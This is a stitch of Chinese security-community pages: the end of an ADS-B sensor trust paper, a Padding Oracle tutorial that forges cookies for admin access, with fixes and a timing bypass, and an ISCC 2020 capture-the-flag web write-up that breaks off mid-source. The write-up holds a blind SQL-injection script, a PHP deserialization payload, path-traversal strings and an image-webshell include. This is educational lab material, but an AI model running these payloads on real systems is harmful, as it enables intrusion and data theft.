通常会区分自己是遭受攻击的受害者的传感器和积极协作的传感器。例如，在GPS或ADS-B欺骗攻击中，传感器可能面临伪造的输入数据，但是它们仍在正常运行，并且符合其预期的行为。虽然对于GPS欺骗攻击，接收模式反映了正常的行为，但是对于所声明的不同消息来源，ADS-B欺骗攻击的接收模式被更改。当攻击分析显示出后一种情况的攻击类型时，报告传感器可能会与网络断开连接，并被排除在其他报告的交叉检查过程之外。这些传感器直接受到攻击的影响，并且其记录不可信任。但是，一旦攻击结束，可以重新激活识别出的传感器，以再次为网络做出贡献。
另一方面，如果攻击分析显示有传感器控制/Sybil攻击，则将面临受到威胁的传感器，它们会主动在网络上发起攻击。报告接收到已识别的虚假报告的所有传感器都应视为攻击者控制的传感器联合的一部分。来自此类传感器的任何共享报告都不能被认为是可信赖的。他们必须停止参与众包网络，并且转发的报告将相应地过滤掉，以恢复网络的完整性。
### D.网格分辨率的影响
考虑的基础网格的分辨率决定了将报告和传感器分配给群集Cj的过程。网格分辨率越高，区域之间的差异以及最终的接收模式就越精细。但是，提高网格分辨率不仅会增加计算量，还会导致监视传感器的面积过大。例如由于不知道传感器的确切位置，因此需要从报告的ADS-B消息中了解观察到的区域。即使传感器实际上观察到该空域，但传感器越小，其未报告来自特定区域的任何消息的机会就越大。在选择边长度为10
km的网格大小来比较攻击检测性能的同时，还评估了不同网格分辨率的影响，并获得了以下见解。
**结果：**
集群的扩散程度越大，则至少有一部分区域的传感器潜在地在观察。接收模式具有更多的有源传感器，并且在同一集群内具有更高的方差。但是，这也使得很难在正常操作和恶意模式之间进行清晰区分。另一方面，具有非常紧密区域的群集实际上阻止了有意义的接收模式的估计，因此也降低了有效性。由于攻击检测性能与接收模式的差异有关，因此确定了灵敏度和泛化之间的合理折衷，从而得出了10
km的网格分辨率。
### E.时间依赖性
为了评估检测方案的时间依赖性，另外在2020年2月17日收集的数据集上评估其性能。该数据集表示正常工作日，即之前分析的日期之后的两天。选择这一天是由于气温下降和阴雨天气，因此代表了不利的条件。在这新的一天中，航班的数量和路径与之前选择的数据集相似（但不相同）。在这一天里，OpenSky网络记录了超过1.35亿个ADS-B报告和728个活动传感器。这两天的传感器网络结构强烈重叠，显示出很小的波动。评估步骤与之前的分析相同，揭示了以下结果。
**结果：**
总体而言，上表显示与以前的结果几乎没有偏差，变化程度可与传感器网络的同质性相提并论。具体而言，在上表中给出了显示考虑GPS欺骗攻击的检测性能的结果。
ADS-B欺骗和传感器控制/
Sybil攻击的结果都与先前的结果重叠，因此无法从视觉上捕获差异，因此不提出相同的数字。总而言之，这提供了证据，表明（i）不同的飞行路线，（ii）变化的空域密度和（iii）不断变化的天气条件仅轻微影响了方案的检测性能，表明其对这些参数的鲁棒性。
### F.计算性能
基于ML的交叉检查的实施带来了一个挑战，即仅在一天之内，并且仅在欧洲，就需要处理来自700多个传感器的超过1.32亿个报告。有了如此大量的数据，就无法在现成的设备上对整个数据集进行训练。为了减少训练和分类所需的时间，决定将数据分成多个网格，每个网格中的数据都可以单独处理。如果在指定的服务器上实现，则所需的时间预计将减少很多。结果，甚至可以定期进行再训练。另一方面，分类的重复成本只是训练持续时间的一小部分，因此一整天的所有分类仅需花费几分钟，因此可以实时高效地进行。
## 0x06 Discussion
### A.攻击者知识
在检测ADS-B欺骗和Sybil攻击的性能分析中，考虑了攻击者控制了一定数量的传感器。完全了解本系统的攻击者可能会尝试优化所追求的攻击策略并模仿真实的接收模式。对于ADS-B欺骗攻击和Sybil攻击，只能在一定程度上实现，并且认为攻击者无法克服具有足够传感器冗余的区域中的检测方案。即使是完全有意识的攻击者也不知道其他传感器的确切位置，因此不可能以有针对性的方式（例如，通过ADS-B欺骗）来操纵它们。此外，攻击者无法访问其他传感器的未经处理的读数以试图对其进行定位。在ADS-B欺骗的情况下，攻击者会影响多个传感器，因此无法单独针对实际受害者。在进行Sybil攻击的情况下，攻击者可以尝试使用受控传感器来模拟现实的接收模式，但不能使用声音用户操作的传感器来模拟。良性传感器覆盖的群集越好，攻击越明显。因此认为，由于其他传感器的隐蔽位置，即使是完全了解本系统的攻击者也无法克服检测方案。
### B.错误告警事件
承认本系统存在虚假警报事件，即例如，错误检测到的攻击极大地阻碍了开发的系统的接受。特别是在考虑与安全相关的空中交通监视时，虚假警报事件会分散空中交通管制员的注意力，从而导致与想要实现的目标相反。通过选择设置阈值，在1000个随机采样航迹的数据集中获得了0％的误报。诚然，这不能保证不存在误报。但是，如果出现错误警报，则可以使用更新的阈值和时间窗口来调整本系统。即使对于更大的阈值，也期望在合理的延迟内有意义的攻击检测率。
### C.当前攻击能力
众包传感器是信任系统的核心，其分布和密度对于检测攻击至关重要。交叉检查的有效性，即例如，无线见证随着覆盖相同空域的传感器数量的增加而增加。因此，冗余度越高，接收模式中存在的变化就越大，并且可以检测到更好的恶意攻击和传感器。通过考虑与不同覆盖范围相关的区域来分析OpenSky网络的当前弹性。下表列出了总覆盖面积的细分并将其与欧洲大陆的总面积相关联。
### D.优化传感器部署
为了进一步发展网络的安全性，鼓励在覆盖较少的区域中部署新传感器，以通过优化网络扩展来优化当前的地理分布。根据网络中现有传感器的覆盖范围信息（请参见图3），以填充盲点为目标来优化新传感器的放置。优化目标是提高总体覆盖率，从而增强对攻击的抵抗力。
为了提供最有利于部署新传感器的领域的概述，根据网络当前的传感器冗余，对更好覆盖范围的需求进行了权衡。覆盖范围越小，对新传感器的需求就越高。将可能的位置限制在陆地上。进一步假设平均接收距离为400
km，并将可观察的空域简化为传感器周围的圆圈。上图根据整个网络覆盖范围的增加来描绘区域。尽管在中欧部署新传感器并不会显着影响抵御攻击的总体弹性，但靠近海岸线的新传感器设置可以大大提高攻击的弹性。
## 0x07 Conclusion
这项工作使用了现存的众包传感器基础设施，为基于ADS-B的空中交通监视建立了一个信任评估系统。
本解决方案利用传感器冗余来建立无线见证，以保护原本不安全的开放系统。
为此针对突出的攻击媒介测试了系统，表明不仅可以检测到它们，而且可以得出有关其类型和参与传感器的结论。 信任评估的有效性取决于观察相同空域段的传感器的冗余性。
此外概述了未来传感器部署的注意事项，这些传感器可以通过优化扩展来加强网络的安全性。 | 社区文章 |
# 侧信道攻击研究——PADDING ORACLE
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一. 引言
大家好，我是来自银基安全实验室的Cure，本次为大家带来的是Padding Oracle攻击的相关介绍与实践。
随着Web服务的日益流行，Web数据的安全传输愈发引起业界重视。HTTPS协议的常见实现经历了从SSL到TLS的变化，目前，使用最广泛的TLS协议为TLS
1.2，为各个浏览器普遍支持，而最新TLS 1.3协议，更是在TLS 1.2的基础上简化了交互流程，提高了性能。
然而，目前的许多Web网站，出于种种原因，仍然采用着古老的HTTP协议。HTTP协议对传输的数据不作保护。为了避免诸如密码等敏感信息在网络上直接传输而导致被中间人截获，网站的开发者常常自己实现一套加密机制，典型地有DES、AES等。
相对于经历了长足发展的TLS协议而言，自实现的安全协议往往存在着一定程度的疏漏，为使用者带来安全隐患。攻击DES、AES的方法有很多，Padding
Oracle是其中一个，如果该攻击使用得当，可以在不获取key的情况下，达到解密密文和加密明文的能力，在特定场景下能够窃取用户隐私，甚至用于网站提权。
本文仅从Padding Oracle这一侧面入手，探索其基本原理并结合实例进行讲解。文章后续包括以下章节：第二章介绍Padding
Oracle的攻击方法；第三章以泛化Web网站为例，阐述通过该攻击获取admin权限的具体流程；第四章尝试性的给相应的漏洞修补方案，使前述攻击失效；第五章使用Timing侧信道作为辅助，再次使能Padding
Oracle；第六章讨论Padding Oracle的一些杜绝方式，并提倡使用在安全敏感的网络服务中使能TLS。
希望本文提供的技术探索与实例，能够起到抛转引玉的作用，同时，也为初学者提供些许思路与参考。
## 二. Padding Oracle原理
Oracle
Padding是一种通过对DES、AES等block加解密算法的Padding进行调控，根据解密过程是否正常，结合调控内容进行攻击，在无需知道key的前提下达成解密密文或加密明文的效果。下面对其原理进行阐述。
### 2.1 Padding
DES、AES等block cipher加解密算法要求输入内容的长度为block
size的整数倍。在加密过程中，若原始数据长度不符合该要求，则在其后添加padding部分以进行补足，在解密过程中，则在解密结果的末尾对padding部分进行移除。
常见的padding方案有PKCS5和PKCS7等，以PKCS5为例，其block size固定为8，padding方案如下：
① 若加密对象的长度是8字节的倍数，则在其后填充8个字节，每个字节内容均为0x08。
② 若加密对象的长度不是8字节的倍数，则在其后补充n个字节（1<=n<=7）使之成为8字节的倍数，每个字节的内容均为n。
### 2.2 AES CBC加密流程
AES CBC的加密流程如下图所示。
其中，plaintext是添加padding后的明文，Initialization Vector称初始化向量IV，由加密算法的调用者提供。
加密流程如下：
① 整个plaintext按照block size拆分为多个组。
② 第一组与IV进行异或运算，运算结果结合加密密钥key经过复杂运算得到第一组ciphertext。
③ 第一组ciphertext作为新的IV，与第二组plaintext进行异或运算，其结果结合加密密钥key经过复杂运算得到第二组ciphertext。
④ 第二组ciphertext作为新的IV，与第三组plaintext进行异或运算，其结果结合加密密钥key经过复杂运算得到第三组ciphertext。
⑤ .依此类推…，直至得到组后一组ciphertext。
⑥ 各组ciphertext组合结果即完整ciphertext，也是加密结果，其长度为block大小的倍数。
### 2.3 AES CBC解密流程
AES的解密过程是加密过程的逆运算，该逆运算与加密过程构成分组对应，具体流程如下图所示。
其中，解密算法按照如下流程进行：
① ciphertext被按照block size进行分组。
②
倒数第一组ciphertext结合key按照复杂算法进行解密，其结果与相应IV（倒数第二组ciphertext，与加密过程呼应）进行异或，得到倒数第一组plaintext。检测该组plaintext的padding是否合法。若非法，则解密失败，返回相应失败。
③
倒数第二组ciphertext结合key按照复杂算法进行解密，其结果与相应IV（倒数第三组ciphertext，与加密过程呼应）异或，得到倒数第二组plaintext。
④
倒数第三组ciphertext结合key按照复杂算法进行解密，其结果与相应IV（倒数第四组ciphertext，与加密过程呼应）异或，得到倒数第三组plaintext。
⑤ 依此类推…，直至得到第一组plaintext。
⑥
各组plaintext合并完整plaintext，该plaintext末尾带有padding，读取其中最后一个字节的内容可以获得padding长度，从完整plaintext的末尾截取该长度后，得到的数据即解密结果。
### 2.4 Padding Oracle攻击原理
Oracle
Padding攻击指的是，在已知密文、IV，能够触发解密，且能够区分解密失败和解密成功的情况下，无需得知key而做到解密密文或加密明文。下面对其原理进行介绍。
如图为原始密文中末尾block的解密环节，其中，cleartext与plaintext同义。
图中，C15由上一个block中的E7与I15异或得出。其中，I15是末尾block的块解密结果。类似地，有，C14 = I14 ^ E6，C13 =
I13 ^ E5，C12 = I12 ^ E4，…
如果我们从0x00~0xFF爆破式地改变E7的值，大多数情况，会使得plaintext包含一个非法的padding；但其中，存在这样一种情形，即C15为0x01，此时plaintext具有合法的padding。
通过改变E7，我们能够将C15强制变为0x01，该情形可以由padding的合法性筛选得出。而此时，有，I15 ^ E`7 = 0x01，推出 I15 =
0x01 ^ E`7。
进一步，能够计算出原始C15 ：C15 = E7 ^ I15 = E7 ^ 0x01 ^ E`7。
一旦取得了C15，就可以继续爆破C14。具体地，首先通过调整E7，使C15为0x02，再通过由0x00~0xFF遍历E6，使得C14 C15为0x02
0x02，该情形同样可以由padding的合法性筛选得出。而此时，有，I14 ^ E`6 = 0x02，推出I14 = 0x02 ^ E`6。
进一步，能够计算出原始C14：C14 = E6 ^ I14 = E6 ^ 0x02 ^ E`6。
依此类推，能够获得全部原始C8~C14，即末尾block的明文。
使用Padding
Oracle进行密文解密：假设原始密文由block<1~n>构成，分别对以block<n-1~n>、block<n-2~n-1>、…、block<1~2>，block<iv,
1>使用上述方法，即获得全部明文。若iv未知，则只能获取block n~2的明文，但仍起到了控制未知数据量的效用。
使用Padding Oracle进行明文加密：从block n到block
1方向，调整E系列，方式同上，使C系列呈现为带有合法padding的目标明文。由于这样构造出的iv与原始iv不同，故构造密文解密所得与目标明文无法做到完全一致，但对于特定攻击场景仍有意义。
## 三. 针对泛化Web应用的攻击实施
本章首先给出一个泛化的Web网站，进而以该网站为例，介绍使用Padding Oracle对其实施攻击的方法。
### 3.1 泛化Web应用
本章所涉及的泛化的Web网站采集自PentesterLab，有如下特征：
① 允许注册、登录；
② 具有admin账户，但密码未知。
如图为使用注册并使用frog账户登录时的效果。
### 3.2 攻击实施
通过观察容易发现，在执行过一次登录后，对该网站相应页面的访问不再需要输入密码，推测Web应用使用了cookie。
通过监测网络得知，携带的cookie示例如下。
任意更改cookie中auth字符串的值，发送请求，收到报错如下图。
由此，推测网站对cookie进行基于AES、DES等带有padding的算法进行解密，而padding的合法与非法是能够通过返回字符串的内容进行区分的。
基于这一点，利用padBuster工具（原理同2.1所述）对auth字符串进行解密，得出其末尾两个block的明文为user=frog。
由于iv未知，完整的明文并不可得，但这已经足够我们进行大胆猜测：对于cookie，网站会进行解密，并提取“user=”后面的内容作为当前用户。
进一步，利用padBuster工具（原理同2.1所述），构造密文，使明文含有“user=admin”字符串，得到auth内容示例。
向网站发送修改auth为上图字符串的数据包，成功以admin身份登入，达成提权。
## 四. 漏洞修复
由于2.2中Padding Oracle攻击实施的关键在于，能够区分解密过程padding是否合法。具体地，当padding非法，则返回“Invalid
padding”文字，若padding合法而只是解密内容不符合期许，则报错User not found。
由此，提出漏洞修复方案：令这两种情况的信息输出完全相同。
对于padding非法情况，修改如下图。
对于padding合法但解密内容不符合预期的情况，修改如下图。
此时，继续使用padBuster工具按照2.2所述方法进行攻击，会发生失败。
由于工具无法区分解密过程中padding合法与非法的情形，故无法实施Padding Oracle攻击。故而，漏洞修复生效。
## 五. 结合Timing侧信道再次攻击
本章以Timing侧信道攻击作为辅助，重新使能解密失败和解密成功两种情形的判别，进而重新使能基于Padding Oracle的Web应用提权。
### 5.1 Timing侧信道简介
所谓Timing侧信道，利用的被攻击对象在不同行为流程下的执行时间的差异，推断被攻击对象的实现细节。以下概念性简介引自我的另一篇文章《侧信道攻击研究 –
TIMING》。
假设Web 网站采用了如下代码：
其逻辑可以简要归纳为：
① 若用户名不存在，则登录失败；
② 若用户名存在但密码不正确，则登录失败；
③ 只有当用户名和密码都正确，才返回成功。
其中，逻辑①的道理在于，当发生基于字典的爆破攻击时，由于涉及的查表列数只有1列，能够一定程度上减小服务器的开销。同时，由于逻辑①和逻辑②返回的信息字符串完全相同，避免了攻击者根据该信息判断出用户名是否存在，而进行后续针对性的爆破。
然而，看似缜密的设计仍然能够受到Timing侧信道的有效攻击。具体攻击方式如下：
① 攻击者从本地提交post请求，其中，变化username，而保持password为任意固定值，例如“123456”。
② 攻击者统计每次从发出请求起到受到服务器回执所耗费的时间，对于同一组用户名和密码，也可以通过测量多次取平均值、中值等方法消除网络延迟引入的时间抖动
③ 对于统计时间较长的请求，认为其所对应的用户名是存在的。
④ 基于存在的用户名，进一步发动针对性的爆破。
本例中，Timing侧信道的立足点在于用户名是否存在所引入的访问时间的差异。具体地，若用户名不存在，则网站服务器仅执行逻辑①的相关判断，所耗费时间较短；若用户名存在，则网站服务器还需额外执行逻辑②的判断（即使密码错误），所耗费时间较长。由此，虽然用户名存在与否对返回的信息字符串并无影响，但攻击者可以从时间入手，推断出真正存在的用户名。
### 5.2辅助攻击的思路
实施Timing侧信道攻击的要点在于，找到被攻击对象在不同行为流程下执行时间的差异。即便处于一个纯粹的旁观者位置，经过简单的使用，也容易推测，网站的实现流程如下图所示。
显然，解密失败时，对应的是一个时间较短的执行过程，而解密成功时，即便解出的信息有问题，由于涉及数据库访问的I/O行为，是一个耗时较多的过程。基于此差异，虽然解密成功或失败返回的文字信息完全相同，但还是可以通过Timing侧信道进行判别。举例而言，当遍历0x01~0xFF调整单个字节时，第三章的方法是基于返回的内容筛选出padding合法的情形，而基于Timing侧信道，我们认为，耗时最长的情形的padding是合法的。一旦能够判定哪些情形的padding是合法的，使用与第三章相同的方式即可进一步完成对于泛化Web应用的攻击。
### 5.3 辅助攻击的实施
辅助攻击的实施通过修改padBuster实现，且只需将基于网站返回信息字符串的判定改为基于网站对请求的处理时间进行判定即可。然而，站在网站用户的立场上，如何合理地获取请求的处理时间是实施攻击的难点。这一难点的解决用到如下四个技巧。
**1）间接测量处理时间**
通过测量自发出请求至收到网站回执的时间，来反应网站对请求的处理时间。，
**2）通过多次测量减少误差**
对于同一请求，实施多次测量，通过计算时间和减少偶尔性引发的误差。
**3）通过交错测量减少误差**
当自0x01~0xFF调整cookie的某一byte时，基于不同数值的测量并不分别多次进行，而是交替进行多次。即化AAAABBBB为ABABABAB。
**4）通过局部取样减少误差**
当某一byte值的多次测量数据进行求和时，并不使用全部数据，而是使用全部数据排序后位于5%~10%大小区间的这部分。
对于1），诚然，自发送请求到收到回执的时间 = 网络传输时间 +
请求处理时间。然而，网络传输时间与网络状态有关，存在抖动，且抖动大小的量级不亚于执行时间的量级，这为时间的测量引入了较大的不稳定性；而且，请求处理时间与当前服务器中所执行任务的数量，服务本身的忙碌程度等有关，也会为时间的测量引入不稳定性。为此，需要引入多次测量，即2）。然而，AAAABBBB式的测量难以切实减小该误差，因为A和B的测量仍可能处于相差较多的大环境，而ABABABABAB能够减小误差的原因在于，每一轮测量（AB）中，A和B所处的测试环境相对来说是十分接近的，故而，引入了3）。进一步地，考虑到多次测量中，极端值误差较大，较好的方式是取位于中间的一部分参与计算，经验表明，5%~10%效果较好。
基于前述理论，修改代码并重新实施Padding Oracle攻击，能够成功提权，效果如下。
**1）解密密文**
图中，多次出现的小数是多次执行的时间和，单位是微秒；紧随其后的整数是相应字节的调整值，如前所述，该值对应padding合法的情形。
**2）加密明文**
图中数字的含义与解密密文的情形相同。
**3）提权成功**
其中，使用的cookie中，auth的内容即加密明文所得的密文字符串。
## 六. Padding Oracle的反思
Padding Oracle所依赖有几下几点：
① 攻击者能够反复访问被攻击对象并触发解密流程。
② 攻击者能够区分解密失败与解密成功这两种情形。
第四章的方法不能彻底杜绝Padding
Oracle的攻击，其本质在于，虽然从文字信息上杜绝了对解密失败与解密成功的判别，但并没有杜绝从时间上对两种情形的判别。
基于此，一种思路是，无论解密成功与否，都添加相关的数据库流程，另一个思路是，添加相关的hash，例如，在AES
CBC的基础上引入HMAC，使得任何基于密文请求内容的调整，都由于校验失败而直接返回，这样一来，很大程度地减小了差异的可能性。
上述思路在TLS
1.2+中已经全面实现，而另一方面，由于TLS对于不同用户的不同连接，key是动态生成的，也很大程度地消除了自实现安全算法中单一key的隐患。
本文以Padding
Oracle为切入点，讨论了常见自实现安全算法与自实现防御手段的局限性。与业界普遍认同的观点相同，本文提倡Web服务在安全敏感的传输场景下使用基于新版的TLS的HTTPS协议，以更好地为用户与服务的信息安全提供保障。
## 参考文献
[1] <https://en.wikipedia.org/wiki/Padding_oracle_attack>
[2] <https://pentesterlab.com/exercises/padding_oracle/course>
[3] Mayer J S D, Sandin J. Time trial: Racing towards practical remote timing
attacks[J]. Black Hat US Briefings, 2014. | 社区文章 |
# ISCC 2020 Web WriteUp
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
记录一下ISCC2020历经25天的Web题解，题量可能有点多 QAQ
！！针对题目的难易程度上：易、中、难都有（老少皆宜），此次比赛和以往不太一样，增加了擂台题和实战题一定程度上还是不错的。
## 练武题-Web
### 阿森的爱情-1
考点：敏感信息收集
使用工具对网站进行敏感信息的探测，存在`readme.txt`
访问`readme.txt`直接得到flag
flag{uragoodman}
### 阿森的爱情-2
考点：SQL注入
题目打开是一个登录界面，测试是否存在注入，发现有waf拦截
碰到这样直接fuzz探测存在哪些字符被拦截，只有知道哪些字符被拦截了才能够进行下一步的注入绕过，这里使用bp进行fuzz
紧接着测试发现存在布尔盲注
username=admin' and 2>1#&password=11&submit=enter
虽然存在布尔盲注，但是由于网站waf对一些特殊字符的拦截导致布尔盲注无法利用，同时在测试时间盲注和报错盲注的时候也是因为waf的拦截导致无法利用。
既然因为waf的拦截导致无法利用，那就分析waf拦截的字符，发现对`select、order
by、union`等字符没有被过滤，所以这里可以尝试使用针对`order by`的联合查询注入读取敏感信息。
探测当前数据库表存在的列数（根据回显信息得出当前表为3列，可以猜测三列分别为：id、username、password）
知道列数之后开始进行联合查询，测试发现存在联合查询注入，同时页面回显的内容正是第二列用户名的内容
根据之前的提示，flag存在于第三列密码字段列中：`The content in the password column is the
flag!`，但是因为页面回显的是第二列内容无法回显第三列内容，所以这里无法直接利用上述payload，到这里是否真的无法判断第三列内容呢，答案是否定的，这里可以巧妙的使用`order
by`以及结合页面的回显来判断第三列所存储的密码，下面编写测试数据表进行测试分析
测试数据:
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | bfe42ac26e273ef3a859a651e0a02df0 |
+----+----------+----------------------------------+
注入分析:
由于网站联合注入显示的是第二列内容，那么我们就可以通过使用`order
by`操作第三列同时改变联合查询第三列的值，来判断网站数据库表中第三列的的存储的真实密码
payload
select * from test.test0 union select 1,2,'c' order by 3,2;
`order by 3,2`表示先以第三列排序，如果遇到第三列内容完全相同则再使用第二列进行相同行的排序
由于使用第三列进行排序，所以当联合查询中第三列的字符如果小于等于真实的第三列密码字符则会页面会显示字符`2`，否则显示`admin`，下面通过测试用例来查看
mysql> select * from test.test0 union select 1,2,'a' order by 3,2;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | 2 | a |
| 1 | admin | bfe42ac26e273ef3a859a651e0a02df0 |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)
mysql> select * from test.test0 union select 1,2,'b' order by 3,2;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | 2 | b |
| 1 | admin | bfe42ac26e273ef3a859a651e0a02df0 |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)
mysql> select * from test.test0 union select 1,2,'c' order by 3,2;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | bfe42ac26e273ef3a859a651e0a02df0 |
| 1 | 2 | c |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)
从结果可以验证，通过对第三列进行排序确实可以判断第三列所存储的密码，其真实密码等于页面显示`admin`判定出来的每一个字符减一，下面对中间字符判断测试
mysql> select * from test.test0 union select 1,2,'bfe42ac26e26' order by 3,2;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | 2 | bfe42ac26e26 |
| 1 | admin | bfe42ac26e273ef3a859a651e0a02df0 |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)
mysql> select * from test.test0 union select 1,2,'bfe42ac26e27' order by 3,2;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | 2 | bfe42ac26e27 |
| 1 | admin | bfe42ac26e273ef3a859a651e0a02df0 |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)
mysql> select * from test.test0 union select 1,2,'bfe42ac26e28' order by 3,2;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | bfe42ac26e273ef3a859a651e0a02df0 |
| 1 | 2 | bfe42ac26e28 |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)
最后对末尾字符进行判断
mysql> select * from test.test0 union select 1,2,'bfe42ac26e273ef3a859a651e0a02df0' order by 3,2;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | 2 | bfe42ac26e273ef3a859a651e0a02df0 |
| 1 | admin | bfe42ac26e273ef3a859a651e0a02df0 |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)
mysql> select * from test.test0 union select 1,2,'bfe42ac26e273ef3a859a651e0a02df1' order by 3,2;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | bfe42ac26e273ef3a859a651e0a02df0 |
| 1 | 2 | bfe42ac26e273ef3a859a651e0a02df1 |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)
在判断末尾最后一个字符的时候`order by 3,2`中第二列判断就该起作用了
通过上述本地模拟数据的测试，现在编写脚本来对该网站进行注入读取敏感数据
import requests
url='http://101.201.126.95:7006'
string='0123456789abcdefghijkmnlopqrstuvwxyz' #密码字段，大小写字母无所谓
flag=''
for i in range(300):
for a in string:
payload="admin' union select 1,'2','"+flag+str(a)+"' order by 3,2#"
data={"username":payload, "password":1, "submit":"enter"}
result=requests.post(url=url,data=data).text
if 'admin' in result:
flag+=string[string.index(a)-1]
print(flag)
break
注入结果
解密密码得到flag
ciphertext：bfe42ac26e273ef3a859a651e0a02df0
plaintext：iloveishuai
flag{iloveishuai}
### Php is the best language
考点：反序列化`__toString`的利用
根据提示下载文件
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (base64_encode(file_get_contents($filename)))
{
return base64_encode(file_get_contents($filename));
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
$good = unserialize($data);
echo $good;
}
else
{
$url='./index.php';
}
$html='';
if(isset($_POST['test'])){
$s = $_POST['test'];
$html.="<p>谢谢参与!</p>";
}
?>
对下载下来的源码进行代码审计，发现存在反序列化参数可控，并且可以正常触发反序列数据，根据序列化代码部分，构造恶意的序列化payload
<?php
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (base64_encode(file_get_contents($filename)))
{
return base64_encode(file_get_contents($filename));
}
}
}
}
$flag = new baby();
$flag->file = 'flag.php';
echo serialize($flag);
?>
继续审计，使用攻击载荷，对Get请求data传参，传入序列化数据，当反序列化数据被当作字符串处理时`echo`，会触发`__toString`反序列化载荷，然后由`file_get_contents($filename)`执行读取文件的操作
base64解码得到特殊文件内容
flag{u_r_really_a_php_expert}
### What can images do
考点：文件包含Bypass前缀限制、敏感信息泄露
题目面目
测试上传文件，发现只能上传`jpg,jpeg,png`格式
继续往下看，测试下一个功能发现存在文件包含
?filename=../../../../etc/passwd
然而并不能使用PHP伪协议，存在包含限制，于是对网站扫描敏感信息得到网站关键路径
`/inc/`目录存放网站上传功能的脚本
`include`目录存放网站包含所需的文件
`uploads`目录存放网站上传的文件
根据`include`目录文件信息可以猜测包含功能函数限制在`include`目录里面，类似代码如下：
include(include/$filename);
这时候再看网站本身文件的包含，确实是直接限制在include目录里面
`?filename=file5.php&submit=提交查询`
这个时候已经很清楚了，由于没有对`../`进行过滤，直接上传图片马，路径穿透包含图片马Getshell
http://101.201.126.95:7004/?filename=../uploads/2020/05/01/2418455eabbf3f5765a454339781.jpg&submit=%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%25A5%25E8%25AF%25A2
cat flag.php
flag{ISCC_FREAKING_AWESOME}
**附题目源码**
* index.php
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "clientcheck.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
include_once 'inc/uploadfunction.php';
$html='';
if(isset($_POST['submit'])){
$type=array('jpg','jpeg','png');//指定类型
$mime=array('image/jpg','image/jpeg','image/png');
$save_path='uploads'.date('/Y/m/d/');//根据当天日期生成一个文件夹
$upload=upload('uploadfile','512000',$type,$mime,$save_path);//调用函数
if($upload['return']){
$html.="<p class='notice'>success！</p><p class='notice'>文件保存的路径为：{$upload['save_path']}</p>";
}else{
$html.="<p class=notice>{$upload['error']}</p>";
}
}
?>
<head>
<title>ISCC | What can images do?</title>
<style>
body{background-image:url(./static/background.jpg);}
html,body{
position: relative;
height: 100%;
}
.main-content{
position: relative;
width: 300px;
margin: 80px auto;
padding: 20px 40px 40px;
text-align: center;
background: #fff;
border: 1px solid #ccc;
}
.main-content::before,.main-content::after{
content: "";
position: absolute;
width: 100%;height: 100%;
top: 3.5px;left: 0;
background: #fff;
z-index: -1;
-webkit-transform: rotateZ(4deg);
-moz-transform: rotateZ(4deg);
-ms-transform: rotateZ(4deg);
border: 1px solid #ccc;
}
.main-content::after{
top: 5px;
z-index: -2;
-webkit-transform: rotateZ(-2deg);
-moz-transform: rotateZ(-2deg);
-ms-transform: rotateZ(-2deg);
}
.main-content1{
position: relative;
width: 300px;
margin: 80px auto;
padding: 20px 40px 40px;
text-align: center;
background: #fff;
border: 1px solid #ccc;
}
.main-content1::before,.main-content::after{
content: "";
position: absolute;
width: 100%;height: 100%;
top: 3.5px;left: 0;
background: #fff;
z-index: -1;
-webkit-transform: rotateZ(4deg);
-moz-transform: rotateZ(4deg);
-ms-transform: rotateZ(4deg);
border: 1px solid #ccc;
}
.main-content1::after{
top: 5px;
z-index: -2;
-webkit-transform: rotateZ(-2deg);
-moz-transform: rotateZ(-2deg);
-ms-transform: rotateZ(-2deg);
}
</style>
</head>
<body>
<div class="main-content">
<div class="main-content-inner">
<div class="page-content">
<div id="usu_main">
<form class="upload" method="post" enctype="multipart/form-data" action=""><br/>
<input class="uploadfile" type="file" name="uploadfile" /><br/>
<input class="sub" type="submit" name="submit" value="点击上传" />
</form>
<?php
echo $html;//输出了上传文件的路径
?>
</div>
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "fi_local.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','',
'active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$html='';
